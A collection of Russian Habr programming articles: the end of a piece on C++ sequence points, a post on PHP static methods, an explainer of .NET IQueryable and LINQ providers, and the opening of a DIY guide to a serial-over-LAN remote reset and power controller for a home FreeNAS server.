Здесь мы видим обращение к «i» в правой части; после вычисления обеих частей совершается присваивание. Т.о. побочный эффект и обращение к «i» происходят, не пересекая точку следования, но обращались к «i» мы только для определения хранимого значения, поэтому разногласий не будет.
Иногда, значение считывается после модификации. Для случая
a = (b = 0);
справедливо, что происходит запись в «b», а потом чтение из «b» без пересечения точки следования. Тем не менее, это нормально, потому что считывается уже новое значение «b», а обращения к старому не происходит. В этом случае побочные эффекты присвоения «b» закончат свое действие не только до следующей точки следования, но и перед чтением значения «b», требуемого для присвоения «а». Стандарт явно говорит: «результатом операции присваивания является значение, хранимое в левом операнде, после того, как присваивание выполнено (результат — lvalue)». Почему не используется понятие точки следования? Потому что это понятие содержит ненужное в данной ситуации требование, чтобы все побочные эффекты левого и правого операнда были завершены, вместо того чтобы рассматривать только побочные эффекты присвоения, возвращающего lvalue, с помощью которого происходит считывание.
Источники:
* [Актуальная версия стандарта](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2012/n3337.pdf)
* [stackoverflow.com/questions/4176328/undefined-behavior-and-sequence-points?lq=1](http://stackoverflow.com/questions/4176328/undefined-behavior-and-sequence-points?lq=1)
* [stackoverflow.com/questions/2397984/undefined-unspecified-and-implementation-defined-behavior](http://stackoverflow.com/questions/2397984/undefined-unspecified-and-implementation-defined-behavior) | https://habr.com/ru/post/216189/ | null | ru | null |
# Когда использовать статические методы
*tl;dr Использовать ли статические методы? Да, когда они не зависят от внутреннего состояния объекта.*
В обсуждениях к [посту](http://verraes.net/2014/06/named-constructors-in-php/) ([перевод](https://habrahabr.ru/post/279919/)) о именованных конструкторах прозвучало мнение, что статические методы плохи и их вообще не стоит использовать. На мой взгляд, это слишком большое обобщение.
Статические методы по сути своей просто способ организации глобальных функций в пространства имен. Использование пространств имен, я думаю, вы согласитесь — хороший тон. Что касается глобальных функций — мы используем их всегда, встроенные функции PHP составляют основу нашего кода.
Основная проблема здесь — отсутствие совместно используемого глобального состояния. Вот пример из прошлого поста:
```
php
$time = Time::from("11:45");
</code
```
В данном примере возвращаемый результат свободен от побочных эффектов и вполне предсказуем, т.к. зависит только от аргументов, подаваемых на вход. Каждый раз при вызове метода вам будет возвращен идентичный результат (объект Time со значением 11:45), вне зависимости от состояния системы, контекста или чего-либо еще.
Другой пример:
```
php
$sum = Calculator::sum(1, 2);
</code
```
И снова — результат предсказуем, `Calculator::sum(1, 2);` предоставляет нам сервис, не имеющий состояния, и не зависящий ни от чего, кроме аргументов. Более того, эта реализация не может быть полиморфной или иметь различные имплементации, т.к. любой результат кроме `3` будет ошибкой. Да, вы можете изменить внутреннюю реализацию метода, улучшив алгоритм сложения чисел, но это не должно никак отражаться на результате его использования.
Возьмем обратный пример, на этот раз с состоянием:
```
php
Counter::increment(1);
$count = Counter::getCount();
</code
```
Пример элементарный, но в более сложных ситуациях это может быть не столь доходчиво. Представьте, что два разработчика используют в своем коде счетчики. Когда они тестируют свое решение изолированно — нет никаких проблем. Но после интеграции их решений счетчик начинает работать не так, как ожидалось, потому что используется глобальное состояние, вместо того, чтобы воспользоваться отдельным экземпляром счетчика.
#### Абстракция
Возможно, вы все еще чувствуете неприятие против кода, вроде `Calculator::sum($x, $y)`, т.к. мы не можем сымитировать или расширить его. Но не стоит забывать, что это довольно низкий уровень абстракции. Вы также не сможете сымитировать и расширить оператор `+` в PHP, но я не думаю, что вы когда-либо чувствовали потребность в этом. Если вам нужен более высокий уровень абстракции, то композиция — ваш верный спутник. Но хочу заметить, между `Calculator::sum($x, $y)` и `+` есть довольно интересное различие, первый может вот так, а второй нет:
```
php
$result = array_reduce([1,2,3], 'Calculator::sum', 0);
// $result = 6
</code
```
Это все может показаться избыточным, но не стоит забывать про функции и статические методы, ведь они могут быть очень полезны при правильном их применении.
---
Часть 1: [Как использовать именованные конструкторы в PHP](https://habrahabr.ru/post/279919/) | https://habr.com/ru/post/279921/ | null | ru | null |
# Принципы работы IQueryable и LINQ-провайдеров данных
Средства LINQ позволяют .Net-разработчикам единообразно работать как с коллекциями объектов в памяти, так и с объектами, хранящимися в базе данных или ином удаленном источнике. Например, для запроса десяти красных яблок из списка в памяти и из БД средствами Entity Framework мы можем использовать абсолютно идентичный код:
```
List appleList;
DbSet appleDbSet;
var applesFromList = appleList.Where(apple => apple.Color == “red”).Take(10);
var applesFromDb = appleDbSet.Where(apple => apple.Color == “red”).Take(10);
```
Однако, выполняются эти запросы по-разному. В первом случае при перечислении результата с помощью foreach яблоки будут отфильтрованы с помощью заданного предиката, после чего будут взяты первые 10 из них. Во втором случае синтаксическое дерево с выражением запроса будет передано специальному LINQ-провайдеру, который транслирует его в SQL-запрос к базе данных и выполнит, после чего сформирует для 10 найденных записей объекты С# и вернет их. Обеспечить такое поведение позволяет интерфейс IQueryable, предназначенный для создания LINQ-провайдеров к внешним источникам данных. Ниже мы попробуем разобраться с принципами организации и использования этого интерфейса.
Интерфейсы IEnumerable и IQueryable
-----------------------------------
На первый взгляд может показаться, что в основе LINQ лежит набор методов-расширений вроде Where(), Select(), First(), Count() и т.д. к интерфейсу IEnumerable, что в итоге дает разработчику возможность единообразно писать запросы как к объектам в памяти (LINQ to Objects), так и к базам данных (например, LINQ to SQL, LINQ to Entities) и удаленным сервисам (например, LINQ to OData Services). Но это не так. Дело в том, что внутри методов-расширений к IEnumerable уже реализованы соответствующие операции с последовательностями. Так, например, метод First(Func predicate) реализован в .Net Framework 4.5.2, исходники которого нам доступны [здесь](http://referencesource.microsoft.com/#System.Core/System/Linq/Enumerable.cs), следующим образом:
```
public static TSource First(this IEnumerable source, Func predicate) {
if (source == null) throw Error.ArgumentNull("source");
if (predicate == null) throw Error.ArgumentNull("predicate");
foreach (TSource element in source) {
if (predicate(element)) return element;
}
throw Error.NoMatch();
}
```
Понятно, что в общем случае такой метод не может быть выполнен над данными, расположенными в БД или сервисе. Для его выполнения мы можем лишь предварительно загрузить весь набор данных непосредственно в приложение, что по понятным причинам неприемлемо.
Для реализации LINQ-провайдеров к внешним по отношению к приложению данным используется интерфейс IQueryable (наследник от IEnumerable) вместе с набором методов-расширений, почти полностью идентичных тем, что написаны для IEnumerable. Именно потому, что List реализует IEnumerable, а DbSet из Entity Framework – IQueryable, приведенные в начале статьи запросы с яблоками выполняются по-разному.
Особенность методов-расширений к IQueryable состоит в том, что они не содержат логики обработки данных. Вместо этого они просто формируют синтаксическую структуру с описанием запроса, «наращивая» ее при каждом новом вызове метода в цепочке. При вызове же агрегатных методов (Count() и т.п.) или при перечислении с помощью foreach описание запроса передается на выполнение провайдеру, инкапсулированному внутри конкретной реализации IQueryable, а тот уже преобразует запрос в язык источника данных, с которым работает, и выполняет его. В случае с Entity Framework таким языком является SQL, в случае с .Net-драйвером для MongoDb – это поисковый json-объект и т.д.
Кстати говоря, из этой особенности вытекают некоторые «интересные» характеристики LINQ-провайдеров:
* запрос, который успешно выполняется одним провайдером, может не поддерживаться другим; более того, узнаем мы об этом даже не на этапе конструирования запроса, а только на этапе его выполнения провайдером;
* перед выполнением запроса провайдер может предварительно его модифицировать; например, ко всем запросам может добавляться ограничение на количество возвращаемых объектов, дополнительные фильтры и т.д.
Делаем LINQ своими руками: ISimpleQueryable
-------------------------------------------
Прежде чем описывать устройство интерфейса IQueryable, попробуем самостоятельно написать его простой аналог – интерфейс ISimpleQueryable, а также пару методов-расширений к нему в стиле LINQ. Это позволит наглядно продемонстрировать основные принципы работы с IQueryable, не вдаваясь пока в нюансы его реализации.
```
public interface ISimpleQueryable : IEnumerable {
string QueryDescription { get; }
ISimpleQueryable CreateNewQueryable(string queryDescription);
TResult Execute();
}
```
В интерфейсе мы видим свойство QueryDescription, которое содержит описание запроса, а также метод Execute(), который должен этот запрос при необходимости выполнить. Это generic-метод, поскольку результат выполнения может быть как перечислением, так и значением агрегатной функции, такой как Count(). Кроме того, в интерфейсе есть метод CreateNewQueryable(), который позволяет при добавлении нового LINQ-метода сформировать новый экземпляр ISimpleQueryable, но уже с новым описанием запроса. Заметим, что описание запроса здесь представлено в виде строки, а в LINQ для этого используются деревья выражений (Expression Trees), о которых можно почитать [здесь](https://msdn.microsoft.com/ru-ru/library/bb397951.aspx) или [здесь](http://habrahabr.ru/post/83169/).
Теперь перейдем к методам-расширениям:
```
public static class SimpleQueryableExtentions
{
public static ISimpleQueryable Where(this ISimpleQueryable queryable,
Expression> predicate) {
string newQueryDescription = queryable.QueryDescription + ".Where(" + predicate.ToString() + ")";
return queryable.CreateNewQueryable(newQueryDescription);
}
public static int Count(this ISimpleQueryable queryable) {
string newQueryDescription = queryable.QueryDescription + ".Count()";
ISimpleQueryable newQueryable = queryable.CreateNewQueryable(newQueryDescription);
return newQueryable.Execute();
}
}
```
Как мы видим, эти методы просто дописывают информацию о себе в описание запроса и создают новый экземпляр ISimpleQueryable. Кроме того, метод Where(), в отличие от своего аналога для IEnumerable, принимает не сам предикат Func, а упомянутое ранее дерево выражения (expression tree) с его описанием Expression>. В данном примере это просто дает нам возможность получить строку с кодом предиката, а в случае с реальным LINQ – возможность сохранить все детали запроса в виде дерева выражений.
Наконец, создадим простую реализацию нашего ISimpleQueryable, которая будет содержать все необходимое для написания LINQ-запросов, за исключением метода их выполнения. Для придания реалистичности добавим туда ссылку на источник данных (\_dataSource), которая должна использоваться при выполнении запроса методом Execute().
```
public class FakeSimpleQueryable : ISimpleQueryable
{
private readonly object \_dataSource;
public string QueryDescription { get; private set; }
public FakeSimpleQueryable(string queryDescription, object dataSource) {
\_dataSource = dataSource;
QueryDescription = queryDescription;
}
public ISimpleQueryable CreateNewQueryable(string queryDescription) {
return new FakeSimpleQueryable(queryDescription, \_dataSource);
}
public TResult Execute() {
//Здесь должна быть обработка QueryDescription и применение запроса к dataSource
throw new NotImplementedException();
}
public IEnumerator GetEnumerator() {
return Execute>();
}
IEnumerator IEnumerable.GetEnumerator() {
return GetEnumerator();
}
}
```
Теперь рассмотрим простой запрос к FakeSimpleQueryable:
```
var provider = new FakeSimpleQueryable("", null);
int result = provider.Where(s => s.Contains("substring")).Where(s => s != "some string").Count();
```
Попробуем разобраться, что будет происходить, при выполнении приведенного выше кода (см. также рисунок ниже):
* сначала первый вызов метода Where() возьмет у созданного с помощью конструктора экземпляра FakeSimpleQueryable пустое описание запроса, добавит к нему ".Where(s => s.Contains(«substring»))" и сформирует второй экземпляр FakeSimpleQueryable с новым описанием;
* затем второй вызов Where() возьмет у созданного ранее FakeSimpleQueryable описание запроса, добавит к нему ".Where(s => s != «some string»)", после чего опять сформирует новый, третий по счету, экземпляр FakeSimpleQueryable с описанием запроса ".Where(s => s.Contains(«substring»)).Where(s => s != «some string»)";
* наконец, вызов Count() возьмет у созданного на предыдущем шаге экземпляра FakeSimpleQueryable описание запроса, добавит к нему " .Count()" и сформирует четвертый экземпляр FakeSimpleQueryable, после чего вызовет у него метод Execute, поскольку дальше построение запроса невозможно;
* в результате внутри метода Execute() мы будет иметь значение QueryDescription, равное ".Where(s => s.Contains(«substring»)).Where(s => s != «some string»).Count()", которое и нужно обрабатывать дальше.
Настоящий IQueryable… и IQueryProvider
--------------------------------------
Рассмотрим теперь, что собой представляет интерфейс IQueryable, реализованный в .Net:
```
public interface IQueryable : IEnumerable {
Expression Expression { get; }
Type ElementType { get; }
IQueryProvider Provider { get; }
}
public interface IQueryable : IEnumerable, IQueryable {}
public interface IQueryProvider {
IQueryable CreateQuery(Expression expression);
IQueryable CreateQuery(Expression expression);
object Execute(Expression expression);
TResult Execute(Expression expression);
}
```
Отметим, что:
* в .Net есть generic- и обычная версия IQueryable;
* для хранения дерева с описанием LINQ-запроса используется свойство Expression (в нашей реализации мы использовали строчное QueryDescription);
* свойство ElementType содержит информацию о типе возвращаемых запросом элементов и используется в реализациях LINQ-провайдеров для проверки соответствия типов;
* пара методов по созданию новых экземпляров IQueryable (CreateQuery() и CreateQuery()), а также пара методов по выполнению запроса (Execute() и Execute()) вынесены в отдельный интерфейс IQueryProvider; можно предположить, что такое разделение понадобилось для того, чтобы отделить сам запрос, который пересоздается при каждом новом вызове метода-расширения, от того объекта, который реально имеет доступ к источнику данных, делает всю основную работу и может быть достаточно «тяжеловесным» для постоянного пересоздания;
* свойство IQueryable.Provider указывает на связанный экземпляр IQueryProvider.
Теперь рассмотрим работу методов-расширений к IQueryable на примере метода Where():
```
public static IQueryable Where(this IQueryable source, Expression> predicate) {
if (source == null) throw Error.ArgumentNull("source");
if (predicate == null) throw Error.ArgumentNull("predicate");
return source.Provider.CreateQuery(
Expression.Call(
null,
((MethodInfo)MethodBase.GetCurrentMethod()).MakeGenericMethod(typeof(TSource)),
new Expression[] { source.Expression, Expression.Quote(predicate) }
));
}
```
Мы видим, что метод конструирует новый экземпляр IQueryable, передавая в CreateQuery() выражение, в котором к исходному выражению из source.Expression добавлен вызов собственно метода Where() с переданным предикатом в качестве аргумента.
Таким образом, несмотря на некоторые отличия интерфейсов IQueryable и IQueryProvider от созданного нами ранее ISimpleQueryable, принципы их использования в LINQ те же: каждый метод-расширение, добавленный к запросу, дополняет дерево выражений информацией о себе, после чего создает новый экземпляр IQueryable с помощью метода CreateQuery(), а агрегатные методы, кроме того, инициируют выполнение запроса, вызывая метод Execute().
Пара слов о разработке LINQ-провайдеров
---------------------------------------
Поскольку механизм конструирования LINQ-запроса уже реализован в .Net за нас, то разработка LINQ-провайдера в большинстве своем сводится к реализации методов Execute() и Execute(). Именно здесь требуется разобрать пришедшее на выполнение expression tree, сконвертировать его в язык источника данных, выполнить запрос, обернуть результаты в C#-объекты и вернуть их. К сожалению, эта процедура включает в себя обработку немалого количества различных нюансов. Более того, доступной информации по разработке LINQ-провайдеров довольно мало. Ниже приведены наиболее информативные, по мнению автора, статьи на эту тему:
* [LINQ: Building an IQueryable provider series,](http://blogs.msdn.com/b/mattwar/archive/2008/11/18/linq-links.aspx)
* [Walkthrough: Creating an IQueryable LINQ Provider](https://msdn.microsoft.com/en-us/library/vstudio/bb546158(v=vs.110).aspx)
Надеюсь, что материал этой статьи будет полезен всем, кто хотел разобраться с организацией работы LINQ-провайдеров к удаленным источникам данных или подступиться к созданию такого провайдера, но пока не решался. | https://habr.com/ru/post/256821/ | null | ru | null |
# Контроллер дистанционного управления для ПК-сервера с текстовой консолью, без паяльника и Arduino
#### Аннотация
Хотя один из героев второго плана — ИК-порт на материнской плате, не стану я рассказывать про пульты от телевизоров и переключение ими треков в любимом медиаплеере. В продолжение истории про [сервер FreeNAS](http://habrahabr.ru/post/214707/), построенный из старого железа, я расскажу, как снабдить его столь же нехитрым бортовым контроллером с последовательным портом (консолью) поверх IP (Serial-over-LAN), дистанционным сбросом (RESET) и управляемым питанием. Спрашивается: зачем? Ведь \*nix и так неприхотлив в дистанционном управлении: включил тот же SSH и управляй себе на здоровье. Но что будет при аварии? Стартовом сбое операционной системы? Что, если надо нажать RESET? Сделать апгрейд системы? Или запустить fsck в single user? Или восстановить ~~спиленный сук~~ неверно настроенный firewall? Не ехать же на площадку каждый раз, подключать монитор, клавиатуру и торчать ночью в офисе на регламентных работах… или мозолить глаза днём сердитому Бизнесу.
#### Ещё один NAS своими руками, часть 4: призрак Чернобыля
Я давно понял, что лень — основной двигатель человеческого прогресса. Наверное, самые изящные формы лени встречаются в самой прогрессивной области: сфере информационных технологий, где лень уже часть профессии. Это мы внедряем сложные helpdesk-регламенты, чтобы не устанавливать пользователям нужные программы. Это мы два дня отлаживаем скрипт, чтобы потом сэкономить себе полчаса. Это мы управляем рабочим столом в соседней комнате, используя для этого сервер на соседнем континенте. Это мы придумали мораторий на работы, чтобы отдыхать ещё за неделю до Нового Года. Кто это там ждёт лифт в вечерний час пик, чтобы чинно спуститься на нём со второго этажа на первый? Бизнес снисходительно зовет нас айтишниками, но мы гордо величаем себя Инженерами ИТ…
Напрашивается устройство, часто именуемое off-band (baseboard) management controller, или автономный бортовой контроллер дистанционного управления. Это такая ~~серебряная~~ посеребрённая пуля, уменьшающая чрезмерные нагрузки на священный сисадминский зад. По функциям наше изделие близко к [IPMI](http://ru.wikipedia.org/wiki/Intelligent_Platform_Management_Interface) за некоторым вычетом, и до настоящих серверных продуктов вроде [iLO](http://ru.wikipedia.org/wiki/Integrated_Lights-Out) или [DRAC](http://www.wikipedia.org/wiki/Dell_DRAC) тут, конечно, далеко. Да, лучше купить готовый контроллер за половину стоимости старого компьютера (или серверную платформу за пятикратную стоимость), если того требует важность данных и связанные риски. Я же собрал рабочее устройство немногим дороже $70, которое к моменту публикации поста успело выручить меня уже несколько раз, чего и всем желаю.
Используете старый ПК-сервер Linux дома или в офисе? Некому нажать RESET? Не хватает денег на серверную платформу? Возможно, вы узнаете новые способы упростить себе жизнь. Программировать почти не будем, паяльник и Хор Друидов не потребуются, зато вспомним весёлые 90-е. Микроэлектроника — это просто!
#### DISCLAIMER
Информация предоставляется AS-IS без какой-либо ответственности за её использование кем-либо, где-либо и когда-либо. Все ненароком упомянутые торговые марки являются собственностью соответствующих владельцев. Некоторые из них в рекламе уже настолько не нуждаются, что я придумываю им шуточные названия.
#### Технические требования
Итак, в [первой части](http://habrahabr.ru/post/214707/) мы собрали сервер NAS из ~~хлама и палок~~ старого железа, во [второй части](http://habrahabr.ru/post/214803/) подобрали флэш-память для загрузчика ОС, а в [третьей части](http://habrahabr.ru/post/218387/) практически затолкали в обычную «башню» десяток шпиндельных дисков, не опасаясь за их неудачный старт или перегрев. Пройдемся по контрольному списку *серверности*:
**Контрольный список серверности**
| | |
| --- | --- |
| Материнская плата с ECC-памятью | Не предусмотрено бюджетом |
| SMP-архитектура ЦП | Одно ядро, но зато с HyperThreading |
| Избыточный блок питания | Не предусмотрено бюджетом |
| Технологии SAN и Fiber Channel | Шутка юмора:) |
| Продуваемый корпус, рассчитанный на X\* дисков | Есть |
| Дисковый массив | Есть |
| Специализированная файловая система | ~~ZFS~~ UFS (из-за ОЗУ) |
| Мониторинг здоровья и телеметрия | Есть |
| Физическая безопасность | Нет в требованиях |
| Сторожевой таймер | Нет |
| Серверная ОС | FreeNAS (встраиваемая) |
| Дистанционное управление платформой | **TBD\*\*** |
\* X — римская «десять»
\*\*TBD — To Be Done (англ.: надо сделать)
Да, далековато нашему изделию до Настоящего Сервера… И признаемся сразу: обычная материнская плата по последовательному порту в BIOS нас не пустит:
**~~0. Удалённый доступ в BIOS~~**
Но это свойство самой материнской платы, и если оно слишком мешает, рекомендую читателю прерваться и поискать либо решение в виде серверной платформы (где должен быть встроен бортовой контроллер дистанционного управления), либо плату расширения PCI с KVM-over-IP (наподобие [eRIC G4](http://www.raritan.de/eric-g4)). Будет, конечно, дороже. А мы пока продолжим писать требования для нашего DIY решения.
**1. Подключиться к последовательному порту сервера по TCP/IP**
Это вполне типовая задача, решаемая обычным конвертером интерфейсов RS232-Ethernet. Буквально первое, что попалось под руку — [MOXA NE-4110S](http://www.moxa.com/product/NE-4110S.htm) стоимостью примерно $50. Знакомьтесь, главный герой нашей сегодняшней истории — бескорпусное, немного брутальное изделие:
Конечно, это далеко не единственный вариант: есть конвертеры, выпускаемые под торговыми марками WIZnet, TIBBO (**UPD:** коллеги в комментариях рекомендуют также Lantronix). А помимо конвертеров, я совершенно случайно открыл ещё один тип устройств, и даже посвятил этому спойлер далее по тексту (читайте, оно того стоит ;-)
Итак, «моху» мне оказалось проще заказать в ближайшем магазине, да и бренд проверенный. Как выяснилось, работает она на добром старом i80186 и, похоже, использует IP-стек BSD. Кстати, есть у NE-4110S программируемый брат, зовут его [NE-4110S-P](http://www.moxa.com/doc/manual/NE/4100/P_user_manaul/V1/NE-4100-P_Series_Users_Manual_v1.pdf), к нему же доступен и [Network Enabler SDK](http://www.moxa.com/doc/manual/NE/4100/SDK2P/v2/NESDK2P_2.pdf). Ст*о*ит «брат» в полтора раза дороже «сестры», продается реже, и от написания прошивки всё равно не избавляет. Поэтому не я стал заказывать «брата». И, ура, практически сбылась ещё одна мечта детства: «поработать на 80186». Мне всегда как-то не хватало этого пропущенного звена эволюции…
**Флэшбек из весёлых 90х**Я застал IBM PS/2 с i8086, ваял на ассемблере IBM PC/XT с i8088 (на том старом мониторе в промежутки между пикселами, пожалуй, можно было бы и спичку засунуть). Играл на i80286 (причем и на AT, и на XT; а до чего же сочной казалось тогда графика VGA!).
Но долго не давала покоя мысль: куда же, черт возьми, подевался 186-ой? Что же это за процессорный *бенладен* такой?
Во времена [FidoNet](http://en.wikipedia.org/wiki/FidoNet) была такая фирма US Robotics, известная модемами Sportster и Courier. Они были как два брата: младший Sportster (для дома) и старший Courier (для бизнеса), и оба построены на i80186.
Бюджетная «мыльница» Sportster 14400, но разогнаться на ней больше 9600 было удачей; была ещё зелёненькая 28800
Поскольку система команд x86 была широко известной в определённых кругах, появились тогда и ордена магов-прошивальщиков, способных своими заклинаниями превратить дешевую «мыльницу» Sportster в Courier, эдакий бульдозер для российского телефонного бездорожья, на гусеничном полудуплексном протоколе [HST](http://ru.wikipedia.org/wiki/HST#.D0.9D.D0.B5.D1.81.D1.82.D0.B0.D0.BD.D0.B4.D0.B0.D1.80.D1.82.D0.B8.D0.B7.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D0.BF.D1.80.D0.BE.D1.82.D0.BE.D0.BA.D0.BE.D0.BB.D1.8B). Интернета тогда не было, поэтому *фрекать* можно было и на полудуплексе. А как звучал HST! Продвинутые юзеры не выключали динамик модема, чтобы вслушиваться в шумы модуляции и по *ретрейнам* определять качество связи. Но у HST это была просто симфония: можно было почти физически ощутить, как потоки битов на полном ходу уворачиваются от плавающих бревен старых советских АТС, будто направляемые умелой рукой невидимого капитана. На целых 16,8кбит/с, но поверьте, тогда это было совсем неплохо.
Переделанный из «мыльницы» бульдозер, правда, глючил, и часто получался с одной «передачей»: либо только «вперёд» (на дозвон), либо на прием звонка, в зависимости от ДНК «мыльницы» (это уж как повезет). И потому до прихода Интернета все уважающие себя *фидошники* мечтали заполучить красноглазого дьявола электросвязи с настоящим логотипом Courier.
Красноглазый дьявол электросвязи, гроза всех помех и бульдозер городских телефонных сетей
Но лишь немногие счастливцы засыпали под автоматные очереди курьерского реле импульсного набора номера. Труднее всего спалось тем, у кого телефонный номер *босса* содержал нолики, девятки и прочие особо длинные и трескучие комбинации. Настоящие ниндзя, конечно, припаивали бесшумные *герконовые реле*, о чем потом смачно рассказывали в *эхах*, вызывая жгучую зависть обладателей простых «мыльниц». И при этом все дружно мечтали, что когда-нибудь наступит Новая Эра, и наши городские АТС тоже начнут понимать тональный набор, как в очень далеких и очень счастливых странах…
Ровесники, достаём салфетку и ловим ею скупую слезу… Привет, 80186, давно не виделись.
Итак, пока заказанное мною блюдо пересекало государственные границы, я обнаружил интересный факт: оказывается, многие конвертеры интерфейсов снабжают до кучи цифровым вводом-выводом (GPIO или DIO). Наверное, чтобы чем-нибудь поуправлять, не так ли?
#### Нужен ли Хор Друидов
Словосочетание «без Аль Дурильо» в некоторых кругах означает что-то вроде знака качества: дескать, не ~~лохи~~ дилетанты какие-то собрались, а реальные электронщики. Да простят меня дорогие читатели, но выбор свой я тогда сделал не вопреки, а по простому незнанию, и посему предлагаю обойтись без сломанных копий, холиваров и прочих капслоков. Пропустив успехи любительской микроэлектроники, я под влиянием старых рефлексов просто ринулся искать конвертер интерфейсов…
**Против программирования МК**Правильно ли я сделал, уклонившись от программирования микроконтроллеров? Вроде бы простая пересылка байт туда-сюда, и всего дел на пять минут, как говорил один мой приятель. Но бегло окинув взглядом форумы по предметной области, я достаточно рельефно представил себе эдакое кодирование IP-сервера на ассемблере. Прикинул, что мне надо минимум две UART: одну на консоль RS232, вторую на прямую связь с хостом (не сбрасывать же сторожевой таймер по IP!). Затем начал считать количество UART на МК, используемых в популярных моделях Ай Дробино. За [редким исключением](http://www.atmel.com/devices/atmega162.aspx?tab=parameters), считать получалось только до одного. Посему пришлось вообразить и заталкивание битов в провод популярным в AVR методом научного ногодрыга (bit bang, soft serial). Продолжив мысленный эксперимент, я поставил всё это в параллель с воображаемым IP-сервером на ассемблере… Брр! Нет, это уже какое-то долгое и острое азиатское блюдо для всей семьи, а я просил легкий, диетический обед для одного человека.
Не навязываю свою точку зрения, но есть субъективное ощущение, что межсетевое взаимодействие — очень слабое звено у микроконтроллеров, порой усугубляемое нехваткой у хардкорных «железячников» элементарных навыков информационной безопасности (код получается очень уязвимым). Кесарю — кесарево.
**За программирование МК**Если уж на то пошло, лично мне кажется здесь более уместной платформа STM32 с её нафаршированной периферией. И в очередной раз не могу не упомянуть в этой связи проект [EasyElectronics](http://easyelectronics.ru/). Как можно предположить, челябинские электронщики настолько суровы, что запускают микроконтроллеры собственным пальцем. Сомневаетесь? Прочитайте про [FUSE и метод пальца](http://easyelectronics.ru/avr-uchebnyj-kurs-konfiguraciya-fuse-bit.html). Если этим ребятам дать в руки паяльник (или поставить на руководящую инженерную должность в солидный концерн), я вообще боюсь представить последствия для мировой электронной промышленности…
Есть [отладочная плата](http://shop.easyelectronics.ru/index.php?categoryID=102) для эдаких [амбидекстров](http://ru.wikipedia.org/wiki/%D0%90%D0%BC%D0%B1%D0%B8%D0%B4%D0%B5%D0%BA%D1%81%D1%82%D1%80%D0%B8%D1%8F) микроэлектроники, со сменными мезонинами AVR, STM32, PIC и ПЛИС. Но смотреть я прошу не на саму плату, а на неприметное изделие [LAN Ethernet Адаптер на ENC28J60](http://shop.easyelectronics.ru/index.php?productID=157). Смысл в том, что на спине у *LAN Ethernet Адаптера* гнездо для той же платы-мезонина AVR или STM32. На борту получается вся необходимая обвязка для МК, на штыревые разъёмы выведены и ноги USART от STM32. Для решаемой задачи останется прикрутить переходники с USART на RS232 и USB, снабдить устройство питанием. Возможно, для промышленных нужд не помешает и [PoE](http://ru.wikipedia.org/wiki/POE) вкупе с более теплостойким исполнением и виброзащитой, но это уже другая история…
Казалось бы, вот уже почти готовое изделие на базе программируемого МК, но… кто вдохнет в него жизнь? Прошивку никто не отменял, а это ещё развлечений на *мифический человеко-месяц*. Нет ничего невозможного, но вы же идёте в ресторан пообедать, а не пожить недельку-другую, не так ли? Задумайтесь, пока на берегу...
Не буду связываться с МК, наиграться всегда успеется. Вот, кстати, из недавнего: [habrahabr.ru/post/208026](http://habrahabr.ru/post/208026)
А под моими добрыми шуточными названиями читатель, конечно, без труда узнал популярную платформу, используемую и любителями, и профессионалами по всему миру. Рынок всё сам расставляет по местам…
Итак, с задачей Serial-over-LAN всё понятно, но дополним наше основное меню технических требований первым блюдом:
**2. Удалённый сброс сервера, используя линию RESET на материнской плате**
Посмотрим, что уже было сделано на эту тему. Стоило мне увидеть [пост](http://habrahabr.ru/post/147164/) благородного дона [workDNK](http://geektimes.ru/users/workdnk/), как полученный в институте багаж знаний ожил и запросился на работу. Уважаемый дон совершенно обоснованно посадил оптореле прямо на цифровой вывод МК, но у меня с «мохой» вышла незадача. Стр. 3-8 [NE-4100 Users Manual](http://www.moxa.com/doc/man/NE-4100_Series_Users_Manual_v9.pdf) весьма недвусмысленно намекает:
> The output current for digital output channels carries only 1 mA.
Т.е. в отличие от PIC18F1320-I/P, цифровой порт на «мохе» больше 1мА из себя не выдавит, а для надежного открытия оптореле надо больше раз в десять. Тут из дальних закоулков памяти вдруг является транзисторный ключ (я удивился, потому что последний раз это было лет пятнадцать назад). Эскизную схему закидываем прямо в стоящий рядом с хабром [тостер](http://toster.ru/q/71632), и что вы думаете? Почти сразу получаем пару полезных ответов от благородных донов. Тут уже скупую слезу, наверное, уронил бы сам [Господин Гейтс](http://www.youtube.com/watch?v=efPwChPPJXI) (вы ничего такого не подумайте, это его знаменитая речь про информацию на кончиках пальцев).
В теории всё довольно просто, и на этом я почти было остановился; но аппетит, как известно, приходит во время еды.
А можно ли управлять *выключенным* ПК? Конечно, можно. Более того, мы это и делаем постоянно, нажимая большую кнопку на корпусе ПК (у кого-то она маленькая и не на корпусе, да и не на ПК, но не в этом суть). Даже самые простые блоки питания ATX имеют линию +5VSB, питающую материнскую плату в состоянии STANDBY (рубильник включен, компьютер выключен; **UPD:** называется также *дежурным питанием*). Включение ПК с клавиатуры — это всё оттуда же. Кстати, в STANDBY на некоторых материнских платах можно даже что-нибудь сжечь, переставляя планки памяти, но речь сейчас не об этом. Обычно мощность в режиме STANDBY около 10Вт, но для питания нашего контроллера хватит, чай не адронный коллайдер. Поэтому добавим-ка ещё салат и гарнир:
**3. Независимое питание контроллера в режиме STANDBY**
**4. Удаленное включение и выключение питания хоста, используя линию PWR\_BTN**
Внимательный читатель, конечно, возразит на п. 4: а как же [Wake-on-LAN](http://www.wikipedia.org/wiki/Wake-on-LAN)? И будет совершенно прав: действительно, даже самая обычная материнская плата сегодня позволяет пробудить компьютер от спячки особым сетевым пакетом. И, кстати, не ищите *ethtool* во FreeNAS, там для этих целей служит [ifconfig(8)](http://www.freebsd.org/cgi/man.cgi?ifconfig(8)). Всё это достаточно востребовано и потому хорошо разжёвано, есть [примеры настроек](http://zyxel.ru/kb/3517) для популярных домашних роутеров, [утилита-пускач для Linux](http://linux.die.net/man/1/wol) и многое другое. Что ж, гарнир можно и не заказывать, я не настаиваю. Но и без десерта оставлять читателя не собираюсь.
На сладкое у нас сегодня ~~яблочное желе~~ зелёный индикатор питания:
**5. Удалённый мониторинг включенного питания с полным сохранением функций визуального индикатора на корпусе**
